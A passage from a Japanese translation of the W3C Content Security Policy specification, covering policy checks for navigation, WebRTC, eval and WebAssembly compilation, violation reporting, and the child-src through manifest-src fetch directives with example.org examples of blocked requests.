注: 一部のディレクティブ(例:frame-ancestors)は、response の Content Security Policy がナビゲーションに影響を与えることがあります。
-
それぞれ policy の directive について:
-
directive の ナビゲーションレスポンスチェック を navigation request・type・navigation response・target・"
response"・policy・response CSP list の self-origin で実行し、結果が"Allowed"なら、次のdirectiveへ進む。 -
そうでなければ violation を § 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を null・policy・directive の 名前 で実行した結果とする。
注: グローバルオブジェクトにはnullを使います(対象のDocumentをまだ生成していないため)。
-
§ 5.5 違反報告 を violation で実行する。
-
policy の ディスポジション が"
enforce"なら、 result を"Blocked" に設定する。
-
-
-
それぞれ navigation request の ポリシーコンテナ の CSPリスト の ポリシー の policy について:
注: navigation request のコンテキストにある一部のディレクティブ(例:frame-ancestors)は、ナビゲーションの前に response を必要とします。
-
それぞれ policy の directive について:
-
directive の ナビゲーションレスポンスチェック を navigation request・type・navigation response・target・"
source"・policy・response CSP list の self-origin で実行し、結果が"Allowed"なら、次のdirectiveへ進む。 -
そうでなければ violation を § 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を navigation request の クライアント の グローバルオブジェクト・policy・directive の 名前 で実行した結果とする。
-
§ 5.5 違反報告 を violation で実行する。
-
policy の ディスポジション が"
enforce"なら、 result を"Blocked" に設定する。
-
-
-
result を返す。
4.2.6.
グローバルオブジェクトのためにCSP初期化を実行する
グローバルオブジェクト
globalが与えられた場合、ユーザーエージェントはglobalのCSPを初期化するために次の手順を実行します。このアルゴリズムはglobalが許可されていれば"Allowed"を、そうでなければ"Blocked"を返します:
-
result を "
Allowed" とする。 -
result を返す。
4.3. WebRTCとの統合
administratively-prohibitedアルゴリズムは、呼び出し時に§ 4.3.1
グローバルのRTC接続をブロックすべきか?を呼び出し、"Blocked"を返した場合は全ての候補を禁止します。
4.3.1. globalのRTC接続はブロックされるべきか?
グローバルオブジェクト
globalが与えられた場合、このアルゴリズムはglobalの有効なポリシーがRTC接続をブロックする場合は"Blocked"、そうでなければ"Allowed"を返します:
-
result を "
Allowed" とする。 -
それぞれ global の CSPリスト の ポリシーの policy について:
-
それぞれ policy の directive について:
-
directive の WebRTC接続前チェック を policy で実行し、結果が "
Allowed" なら continue。 -
そうでなければ violation を § 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を global・policy・directive の 名前 で実行した結果とする。
-
violation の リソース を null に設定する。
-
§ 5.5 違反報告 を violation で実行する。
-
policy の ディスポジション が "
enforce" なら、 result を "Blocked" に設定する。
-
-
-
result を返す。
4.4. ECMAScriptとの統合
ECMAScriptはHostEnsureCanCompileStrings()
抽象操作を定義しており、ホスト環境が文字列のECMAScriptコードへのコンパイルをブロックできるようにしています。本書は、その抽象操作の実装として、関連するCSPリストを調べ、コンパイルがブロックされるべきかどうかを判断します。
4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)
realm
realm、文字列のリスト parameterStrings、文字列 bodyString、文字列
codeString、列挙型 (compilationType)、
ECMAScript言語値のリスト (parameterArgs)、ECMAScript言語値 (bodyArg)
が与えられた場合、このアルゴリズムは文字列コンパイルが許可されるなら通常通り返し、許可されないなら"EvalError"を投げます:
-
compilationType が "
TIMER" の場合:-
sourceString を codeString とする。
-
-
それ以外の場合:
-
compilationSink を compilationType が "
FUNCTION" なら"Function"、それ以外なら"eval"とする。 -
isTrusted を bodyArg が
TrustedScriptを実装していればtrue、そうでなければfalseとする。 -
isTrusted が true なら:
-
bodyString がbodyArgのdataと等しくない場合、isTrusted を false に設定する。
-
-
isTrusted が true なら:
-
sourceToValidate を 新規の
TrustedScriptオブジェクトとしてrealmで生成し、dataプロパティはisTrustedがtrueならcodeString、そうでなければcodeStringとする。 -
sourceString は、get trusted type compliant string アルゴリズムを
TrustedScript、 realm、sourceToValidate、compilationSink、および'script'で実行した結果である。 -
このアルゴリズムがエラーを投げた場合は
EvalErrorを投げる。 -
sourceString が codeStringと等しくない場合は
EvalErrorを投げる。
-
-
result を "
Allowed" とする。 -
global を realm の グローバルオブジェクトとする。
-
それぞれ global の CSPリスト の ポリシー の policy について:
-
source-list を null とする。
-
policyがディレクティブで名前が"
script-src"であるものを含めば、source-listをそのディレクティブの値に設定する。それ以外でpolicyが名前が"
default-src"であるディレクティブを含めば、source-listをそのディレクティブの値に設定する。 -
source-listがnullでなければ:
-
trustedTypesRequired は、does sink type require trusted types? を realm、
'script'、falseで実行した結果である。 -
trustedTypesRequiredがtrueで、source-listがソース式で"
'trusted-types-eval'"とASCII大文字・小文字を区別しない一致を含む場合、以降の手順をスキップする。 -
source-listがソース式で"
'unsafe-eval'"とASCII大文字・小文字を区別しない一致を含む場合、以降の手順をスキップする。 -
violation を § 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成 を global、policy、"
script-src"で実行した結果とする。 -
violation の resource を "
eval" に設定する。 -
source-listが"
'report-sample'"を含む場合、violationのsampleをsourceStringの先頭40文字に設定する。 -
§ 5.5 違反を報告する を violation に対して実行する。
-
policy の ディスポジション が "
enforce" ならresultを"Blocked"に設定する。
-
-
-
resultが"
Blocked"なら、EvalError例外を投げる。
4.5. WebAssemblyとの統合
WebAssemblyはHostEnsureCanCompileWasmBytes()
抽象操作を定義しており、ホスト環境がWebAssemblyソースの実行可能コードへのコンパイルをブロックできるようにしています。本書は、この抽象操作の実装として、関連するCSPリストを調べ、コンパイルがブロックされるべきかどうかを判断します。
4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm
realm
realmが与えられた場合、このアルゴリズムはコンパイルが許可されていれば通常通り返し、許可されなければWebAssembly.CompileError
を投げます:
-
global を realm の グローバルオブジェクトとする。
-
result を "
Allowed" とする。 -
それぞれ global の CSPリスト の ポリシー の policy について:
-
source-list を null とする。
-
policyがディレクティブで名前が"
script-src"であるものを含めば、source-listをそのディレクティブの値に設定する。それ以外でpolicyが名前が"
default-src"であるディレクティブを含めば、source-listをそのディレクティブの値に設定する。 -
source-listがnullでなく、かつソース式で"
'unsafe-eval'"とのASCII大文字・小文字を区別しない一致を含まず、"'wasm-unsafe-eval'"とのASCII大文字・小文字を区別しない一致も含まない場合:-
violation を § 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成 を global、policy、"
script-src"で実行した結果とする。 -
violation の resource を "
wasm-eval" に設定する。 -
§ 5.5 違反を報告する を violation に対して実行する。
-
policy の ディスポジション が "
enforce" ならresultを"Blocked"に設定する。
-
-
-
resultが"
Blocked"ならWebAssembly.CompileError例外を投げる。
5. 報告
1つ以上のポリシーのディレクティブが違反された場合、CSP違反レポートが生成され、ポリシー に関連するレポートエンドポイントに送信されることがあります。
CSP違反レポートは レポートタイプ "csp-violation" を持ちます。
CSP違反レポートは ReportingObserver から可視です。
dictionary :CSPViolationReportBody ReportBody {USVString ;documentURL USVString ?;referrer USVString ?;blockedURL DOMString ;effectiveDirective DOMString ;originalPolicy USVString ?;sourceFile DOMString ?;sample SecurityPolicyViolationEventDisposition ;disposition unsigned short ;statusCode unsigned long ?;lineNumber unsigned long ?; };columnNumber
スクリプト系の宛先に影響するディレクティブに
report-sha256、report-sha384、report-sha512値が設定されていて、
スクリプト系
宛先にrequestがフェッチされると、
CSPハッシュレポートが生成され、
ポリシーに関連するレポートエンドポイントに送信されます。
CSPハッシュレポートはレポートタイプ "csp-hash" を持ちます。
CSPハッシュレポートは ReportingObserver からは見えません。
CSPハッシュレポートボディは 構造体で以下のフィールドを持ちます: documentURL、 subresourceURL、 hash、 destination、 type。
Reporting-Endpoints: hashes-endpoint="https://example.com/reports" Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpointそして文書がスクリプト "main.js" をロードすると、次のようなレポートが送信されます:
POST /reports HTTP / 1.1 Host : example.com ... Content-Type: application/reports+json [{ "type": "csp-hash", "age": 12, "url": "https://example.com/", "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0", "body": { "document_url": "https://example.com/", "subresource_url": "https://example.com/main.js", "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281", "type": "subresource", "destination": "script" } }]
5.1. 違反DOMイベント
enum {SecurityPolicyViolationEventDisposition ,"enforce" }; ["report" Exposed =(Window ,Worker )]interface :SecurityPolicyViolationEvent Event {(constructor DOMString ,type optional SecurityPolicyViolationEventInit = {});eventInitDict readonly attribute USVString ;documentURI readonly attribute USVString ;referrer readonly attribute USVString ;blockedURI readonly attribute DOMString ;effectiveDirective readonly attribute DOMString ; // historical alias of effectiveDirectiveviolatedDirective readonly attribute DOMString ;originalPolicy readonly attribute USVString ;sourceFile readonly attribute DOMString ;sample readonly attribute SecurityPolicyViolationEventDisposition ;disposition readonly attribute unsigned short ;statusCode readonly attribute unsigned long ;lineNumber readonly attribute unsigned long ; };columnNumber dictionary :SecurityPolicyViolationEventInit EventInit {USVString = "";documentURI USVString = "";referrer USVString = "";blockedURI DOMString = "";violatedDirective DOMString = "";effectiveDirective DOMString = "";originalPolicy USVString = "";sourceFile DOMString = "";sample SecurityPolicyViolationEventDisposition = "enforce";disposition unsigned short = 0;statusCode unsigned long = 0;lineNumber unsigned long = 0; };columnNumber
5.2.
違反のresourceのblockedURIを取得する
違反のresource resourceが与えられた場合、このアルゴリズムは違反レポート用のblocked URIフィールドとして使用する文字列を返します。
-
resourceがURLなら、§ 5.4 違反レポート用URLの除去をresourceに対して実行した結果を返す。
-
resourceを返す。
5.3. violationの非推奨シリアライズを取得する
違反
violationが与えられた場合、このアルゴリズムは違反のJSONテキスト文字列表現を返します。これは非推奨のreport-uriディレクティブに関連付けられた報告エンドポイントへの送信に適した形式です。
-
bodyを、以下のキーで初期化されたマップとする:
- "
document-uri" -
§ 5.4 違反レポート用URLの除去をviolationのurlに対して実行した結果。
- "
referrer" -
§ 5.4 違反レポート用URLの除去をviolationのreferrerに対して実行した結果。
- "
blocked-uri" -
§ 5.2 違反のresourceのblockedURIを取得するをviolationのresourceに対して実行した結果。
- "
effective-directive" -
violationの有効ディレクティブ
- "
violated-directive" -
violationの有効ディレクティブ
- "
original-policy" - "
disposition" - "
status-code" -
violationのstatus
- "
script-sample" -
violationのsample
注:
script-sampleという名前はこの機能の初期実装時にFirefoxで実装された従来仕様との互換性のために選ばれました。名前に関わらず、このフィールドはスタイルシートなどのスクリプト以外の違反サンプルも含みます。SecurityPolicyViolationEventオブジェクトおよび新しいreport-toディレクティブによるレポートでは、より包括的な名前sampleが使われます。
- "
-
violationのsource fileがnullでない場合:
-
body["
source-file"]を§ 5.4 違反レポート用URLの除去をviolationのsource fileに対して実行した結果に設定する。 -
body["
line-number"]をviolationの行番号に設定する。 -
body["
column-number"]をviolationの列番号に設定する。
-
-
保証:body["
blocked-uri"]が"inline"でない場合、body["sample"]は空文字列である。 -
infra値をJSONバイト列にシリアライズを «[ "csp-report" → body ]» に対して実行した結果を返す。
5.4. 違反レポート用URLの除去
urlがURLの場合、このアルゴリズムは違反レポート用のURLを表す文字列を返します:-
urlのschemeがHTTP(S) schemeでない場合、urlのschemeを返す。
-
urlのfragmentを空文字列に設定する。
-
urlのusernameを空文字列に設定する。
-
urlのpasswordを空文字列に設定する。
-
URL serializerをurlに対して実行した結果を返す。
5.5. violationを報告する
違反
violationが与えられた場合、このアルゴリズムはviolationのpolicyで指定されたエンドポイントへ報告し、
SecurityPolicyViolationEvent
を
violationのelementまたはviolationのグローバルオブジェクトで発火します。詳細は以下の通りです:
-
globalをviolationのグローバルオブジェクトとする。
-
targetをviolationのelementとする。
-
タスクをキューに追加して、以下の手順を実行する:
注: ここで「タスクをキューに追加」するのは、イベントのターゲット決定とディスパッチが、違反を引き起こしたJavaScriptによるDOM操作などのタスク完了後に行われるようにするためです。
-
targetがnullではなく、globalが
Windowであり、 targetのshadow-including rootがglobalの関連付けられたDocumentでない場合、targetをnullに設定する。注: この手順は、違反イベントがviolationのpolicyの
Documentに接続されている要素にのみ発火されるようにします。 要素がそのドキュメントに接続されていない場合、イベントはその要素ではなくドキュメント自体に発火され、違反がドキュメントのリスナーにも認知されるようになります。 -
targetがnullの場合:
-
targetをviolationのグローバルオブジェクトに設定する。
-
targetが
Windowの場合、targetをtargetの関連付けられたDocumentに設定する。
-
-
targetが
EventTargetを実装している場合、 イベント名securitypolicyviolationをSecurityPolicyViolationEventインターフェースでtargetに発火し、属性は以下の通り初期化する:documentURI-
§ 5.4 違反レポート用URLの除去をviolationのurlに対して実行した結果。
referrer-
§ 5.4 違反レポート用URLの除去をviolationのreferrerに対して実行した結果。
blockedURI-
§ 5.2 違反のresourceのblockedURIを取得するをviolationのresourceに対して実行した結果。
effectiveDirective-
violationの有効ディレクティブ
violatedDirective-
violationの有効ディレクティブ
originalPolicydisposition-
violationのディスポジション
sourceFile-
violationのsource fileがnullでなければ§ 5.4 違反レポート用URLの除去をviolationのsource fileに対して実行した結果、そうでなければnull。
statusCode-
violationのstatus
lineNumber-
violationの行番号
columnNumber-
violationの列番号
sample-
violationのsample
bubbles-
true composed-
true
注:
composed属性をtrueにすることで、このイベントはシャドウツリーへの進入時にもキャプチャされ、シャドウツリーからのバブル時にもバブルします。targetなどはメインツリーに対して正しくスコープされます。注:
effectiveDirectiveとviolatedDirectiveの値は同じです。これは後方互換性を維持するための仕様です。 -
もしviolationのpolicyのdirective setが、"
report-uri"という名前のdirective directiveを含む場合:-
もしviolationのpolicyの directive setが、 "
report-to"という名前のdirectiveを含む場合、残りのサブステップをスキップする。 -
-
endpointをURL parserでtokenを入力、violationのurlを基底URLとして実行した結果とする。
-
endpointが有効なURLでなければ残りのサブステップをスキップ。
-
requestを新しいリクエストとして以下で初期化する:
- method
-
"
POST" - url
-
endpoint
- origin
-
violationのグローバルオブジェクトのrelevant settings objectのorigin
- traversable for user prompts
-
"
no-traversable" - client
-
violationのグローバルオブジェクトのrelevant settings object
- destination
-
"
report" - initiator
-
""
- credentials mode
-
"
same-origin" - keepalive
-
"
true" - header list
-
ヘッダーリストに1つのヘッダー(名前"
Content-Type"、値"application/csp-report")を含める。 - body
-
§ 5.3 非推奨違反シリアライズ取得をviolationへ実行した結果。
- redirect mode
-
"
error"
注: requestのmodeはデフォルトで"
no-cors"になり、レスポンスは完全に無視されます。 -
Fetch request。結果は無視される。
-
注: この処理は全て非推奨です。違反ごとにリクエストが送信されるため、スケーラビリティに欠けます。可能になり次第、ユーザーエージェントから削除されるべきです。
注:
report-uriは、report-toが存在しない場合のみ有効です。つまり、後者が前者を上書きし、新しい仕組みをサポートしないブラウザとの後方互換性が保たれます。 -
-
もしviolationのpolicyのdirective setが、"
report-to"という名前のdirective directiveを含む場合:-
bodyを新しい
CSPViolationReportBodyとして以下で初期化:documentURL-
§ 5.4 違反レポート用URLの除去をviolationのurlに対して実行した結果。
referrer-
§ 5.4 違反レポート用URLの除去をviolationのreferrerに対して実行した結果。
blockedURL-
§ 5.2 違反のresourceのblockedURIを取得するをviolationのresourceに対して実行した結果。
effectiveDirective-
violationの有効ディレクティブ
originalPolicysourceFile-
violationのsource fileがnullでなければ§ 5.4 違反レポート用URLの除去をviolationのsource fileに対して実行した結果、そうでなければnull。
sample-
violationのsample
disposition-
violationのディスポジション
statusCode-
violationのstatus
lineNumber-
violationの行番号(violationのsource fileがnullでなければ)、そうでなければnull。
columnNumber-
violationの列番号(violationのsource fileがnullでなければ)、そうでなければnull。
-
settings objectをviolationのグローバルオブジェクトのrelevant settings objectとする。
-
Generate and queue a reportを次の引数で実行:
- context
-
settings object
- type
-
"csp-violation"
- destination
-
directiveの値
- data
-
body
-
-
6. コンテンツセキュリティポリシー指令
この仕様は、開発者がサイトの挙動の特定側面を制御できるようにする複数種の指令を定義します。本書ではリソース取得を制御する指令(§ 6.1 取得指令)、文書状態を制御する指令(§ 6.3 文書指令)、ナビゲーション挙動を制御する指令(§ 6.4 ナビゲーション指令)、報告を制御する指令(§ 6.5 報告指令)を定義します。これらはContent Security Policyの中核を成します。他の指令は補助文書でモジュール的に定義されます(例は§ 6.6 他文書で定義される指令参照)。
クロスサイトスクリプティング攻撃のリスク軽減のため、ウェブ開発者はスクリプトやプラグインのソースを規制する指令を含めるべきです(SHOULD)。具体的には:
-
script-srcおよびobject-src指令の両方、または
いずれの場合も、'unsafe-inline'やdata:を有効なソースとしてポリシーに含めるべきではありません(SHOULD
NOT)。これらはいずれもドキュメント内に直接コードを含めることを許すため、XSS攻撃を容易にします。完全に回避するのが最良です。
6.1. 取得指令
取得指令は、特定のリソース種別をどの場所からロードできるかを制御します。例えば、script-srcは信頼できるスクリプトソースのみページで実行できるようにし、font-srcはウェブフォントのソースを制御します。
6.1.1.
child-src
child-src指令は、子ナビゲーション(例:
iframeやframeナビゲーション)やワーカー実行コンテキストの生成を制御します。指令名と値の構文は次のABNFで表されます:
directive-name = "child-src" directive-value = serialized-source-list
この指令は、フレームやワーカーを生成するリクエストを制御します。より形式的には、次のカテゴリのリクエストです:
-
destinationが"
frame"、"iframe"、"object"、"embed"のいずれか。 -
destinationが"
serviceworker"、"sharedworker"、"worker"のいずれか(それぞれServiceWorker、SharedWorker、Workerにrun a workerアルゴリズムで渡される)。
Content-Security-Policy: child-src https://example.com/
以下のコードによるフェッチは全てネットワークエラーとなります。指定したURLがchild-srcのソースリストと一致しないためです:
< iframe src = "https://example.org" ></ iframe > < script > var blockedWorker= new Worker( "data:application/javascript,..." ); </ script >
6.1.1.1.
child-src 事前リクエストチェック
このディレクティブの事前リクエストチェックは次の通りです:
リクエスト request、ポリシー policy、 オリジン self-originが与えられた場合:
-
nameを § 6.8.1 リクエストで有効なディレクティブ取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 をname、
child-src、policyで実行した結果が"No"の場合、 "Allowed"を返す。 -
事前リクエストチェックを、ディレクティブの名前がnameのものに対して、request、policy、self-originを渡して、このディレクティブの値を比較用として実行した結果を返す。
6.1.1.2.
child-src 事後リクエストチェック
このディレクティブの事後リクエストチェックは次の通りです:
リクエスト request、レスポンス response、ポリシー policy、オリジン self-originが与えられた場合:
-
nameを§ 6.8.1 リクエストで有効なディレクティブ取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 をname、
child-src、policyで実行した結果が"No"の場合、 "Allowed"を返す。 -
事後リクエストチェックを、ディレクティブの名前がnameのものに対して、request、response、policy、self-originを渡して、このディレクティブの値を比較用として実行した結果を返す。
6.1.2.
connect-src
connect-src指令は、スクリプトインターフェースでロード可能なURLを制限します。指令名と値の構文は次のABNFで表されます:
directive-name = "connect-src" directive-value = serialized-source-list
この指令は、他オリジンからデータ送受信を行うリクエストを制御します。API例:fetch()、[XHR]、[EVENTSOURCE]、[BEACON]、aのping属性など。この指令はFetchの一部ではありませんが、WebSocket
[WEBSOCKETS]接続も制御します。
EventSourceはサーバーとのHTTP接続を維持してプッシュ通知を受け取り、WebSocketsは双方向通信チャネルを開き、XMLHttpRequestは任意のHTTPリクエストを送信します。これらは便利ですが、データ流出の経路にもなり得ます。
connect-src指令を使うことで、これらや類似の接続を信頼できるオリジンのみに限定できます。例えば、https://example.comへの接続だけ許可したい場合は次のヘッダーを送信します:
Content-Security-Policy: connect-src https://example.com/
以下のコードによるフェッチは全てネットワークエラーとなります。指定URLがconnect-srcのソースリストと一致しないためです:
< a ping = "https://example.org" > ...< script > var xhr= new XMLHttpRequest(); xhr. open( 'GET' , 'https://example.org/' ); xhr. send(); var ws= new WebSocket( "wss://example.org/" ); var es= new EventSource( "https://example.org/" ); navigator. sendBeacon( "https://example.org/" , { ... }); </ script >
6.1.2.1.
connect-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通り:
リクエスト request、ポリシー policy、 オリジン self-originが与えられた場合:
-
nameを § 6.8.1 リクエストに対して有効なディレクティブを取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブを実行すべきか をname、
connect-src、policyで実行した結果が"No"の場合、 "Allowed"を返す。 -
source listをディレクティブの値とする。
-
requestのmodeが"
webtransport"で、 requestの WebTransport-hashリストが空でない場合:-
source listが含む ソース式が、 ASCII大文字小文字区別なしで
keyword-source"'unsafe-webtransport-hashes'"に一致する場合、"Allowed"を返す。 -
"
Blocked"を返す。
-
-
§ 6.7.2.5 リクエストがソースリストに一致するか をrequest・source list・self-originで実行した結果が"
Matches"の場合、"Allowed"を返す。 -
"
Blocked"を返す。
6.1.2.2.
connect-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通り:
リクエスト request、レスポンス response、ポリシー policy、 オリジン self-originが与えられた場合:
-
nameを § 6.8.1 リクエストで有効なディレクティブ取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 をname、
connect-src、policyで実行した結果が"No"の場合、 "Allowed"を返す。 -
source listをディレクティブの値とする。
-
requestのmodeが"
webtransport"で、 requestの WebTransport-hashリストが 空でない場合:-
source listが含む ソース式が ASCII大文字小文字区別なしで
keyword-source"'unsafe-webtransport-hashes'"に一致する場合、 "Allowed"を返す。 -
"
Blocked"を返す。
-
-
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか をresponse・request・source list・self-originで実行した結果が"
Matches"の場合、 "Allowed"を返す。 -
"
Blocked"を返す。
6.1.3.
default-src
default-src指令は、他の取得指令のフォールバックとして機能します。指令名と値の構文は次のABNFで表されます:
directive-name = "default-src" directive-value = serialized-source-list
default-src指令がポリシーに含まれていれば、その値がポリシーのデフォルトソースリストとして使われます。例えば、default-src 'none'; script-src 'self'の場合、スクリプトリクエストは'self'をソースリストとして用い、それ以外のリクエストは'none'を用います。詳細は§ 4.1.2 リクエストはContent Security
Policyでブロックされるべきか?および§ 4.1.3 リクエストのレスポンスはContent Security
Policyでブロックされるべきか?アルゴリズム参照。
prefetchやpreconnectなどのリソースヒントは、特定の取得指令に紐づかず、ポリシー内全指令のソースリストの和集合で許可サーバーが決まります。default-srcがなければ、これらのリクエストは常に許可されます。詳細は§ 8.6
情報流出参照。[HTML]
Content-Security-Policy: default-src 'self'
は、次のヘッダーと同じ挙動になります:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src-elem 'self'; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
つまり、default-srcが設定されていれば、明示的に設定されていない取得指令は全てdefault-srcの値をフォールバックとして使います。
script-src指令が明示的に指定されていれば、default-srcの値はスクリプトリクエストには影響しません。つまり、以下のヘッダー:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
は、次のヘッダーと同じ挙動になります:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src-elem https://example.com; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
この挙動から、サイト用ポリシーを構築する良い方法は、まずdefault-srcを'none'とし、必要なリソース種別のみ個別に許可するポリシーを積み上げることです。
6.1.3.1.
default-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通り:
リクエスト request、ポリシー policy、 オリジン self-originが与えられた場合:
-
nameを § 6.8.1 リクエストで有効なディレクティブ取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 をname、
default-src、policyで実行した結果が"No"の場合、 "Allowed"を返す。 -
事前リクエストチェックを、 ディレクティブの名前がnameのものに対して、request・policy・self-originを渡し、このディレクティブの 値で比較した結果を返す。
6.1.3.2.
default-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通り:
リクエスト request、 レスポンス response、 ポリシー policy、 オリジン self-originが与えられた場合:
-
nameを§ 6.8.1 リクエストで有効なディレクティブ取得をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定をname、
default-src、policyで実行した結果が"No"の場合、"Allowed"を返す。 -
事後リクエストチェックを、 ディレクティブの名前がnameであるものに対して、 request、response、policy、self-originを渡し、このディレクティブの値を比較用として実行した結果を返す。
6.1.3.3.
default-src インラインチェック
この指令のインラインチェックアルゴリズムは以下の通り:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
default-src、policyで実行した結果が"No"なら、"Allowed"を返す。 -
それ以外の場合、この指令のインラインチェックを、nameという名前の指令に対してelement、type、policy、sourceで実行し、この指令の値を比較用に用いて返す。
6.1.4.
font-src
font-src指令は、フォントリソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "font-src" directive-value = serialized-source-list
Content-Security-Policy: font-src https://example.com/
以下のコードによるフェッチはネットワークエラーとなります。指定したURLがfont-srcのソースリストと一致しないためです:
< style > @ font-face { font-family : "Example Font" ; src : url ( "https://example.org/font" ); } body { font-family : "Example Font" ; } </ style >
6.1.4.1.
font-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通り:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストに対して有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
font-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致しているか? を request、このディレクティブの 値、self-originで実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.4.2.
font-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通り:
リクエスト request、レスポンス response、ポリシー policy、 オリジン self-originが与えられた場合:
-
nameを§ 6.8.1 リクエストで有効なディレクティブ取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定を name、
font-src、policyで実行した結果が"No"の場合、 "Allowed"を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか をresponse・request・このディレクティブの値・self-originで実行した結果が "
Does Not Match"の場合、"Blocked"を返す。 -
"
Allowed"を返す。
6.1.5.
frame-src
frame-src指令は、子ナビゲーションにロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "frame-src" directive-value = serialized-source-list
Content-Security-Policy: frame-src https://example.com/
以下のコードによるフェッチはネットワークエラーとなります。指定URLがframe-srcのソースリストと一致しないためです:
< iframe src = "https://example.org/" > </ iframe >
6.1.5.1.
frame-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通り:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストに対して有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
frame-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.5.2.
frame-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通り:
リクエスト request、レスポンス response、 ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
frame-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.6.
img-src
img-src指令は、画像リソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "img-src" directive-value = serialized-source-list
この指令は画像をロードするリクエストを制御します。より形式的には、リクエストのdestinationが"image"であるものを含みます
[FETCH]。
Content-Security-Policy: img-src https://example.com/
以下のコードによるフェッチはネットワークエラーとなります。指定URLがimg-srcのソースリストと一致しないためです:
< img src = "https://example.org/img" >
6.1.6.1.
img-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通り:
リクエスト request、ポリシー policy、オリジン self-origin が与えられた場合:
-
nameを § 6.8.1 リクエストに対して有効なディレクティブ取得 をrequestで実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 をname、
img-src、policyで実行した結果が"No"の場合、"Allowed"を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか をrequest、このディレクティブの値、self-originで実行した結果が "
Does Not Match" の場合、"Blocked"を返す。 -
"
Allowed"を返す。
6.1.6.2.
img-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通り:
リクエスト request、レスポンス response、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
img-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.7.
manifest-src
manifest-src指令は、アプリケーションマニフェストをロード可能なURLを制限します[APPMANIFEST]。指令名と値の構文は以下のABNFで示されます:
directive-name = "manifest-src" directive-value = serialized-source-list
Content-Security-Policy: manifest-src https://example.com/
以下のコードによるフェッチはネットワークエラーとなります。指定URLがmanifest-srcのソースリストと一致しないためです:
< link rel = "manifest" href = "https://example.org/manifest" >
6.1.7.1.
manifest-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
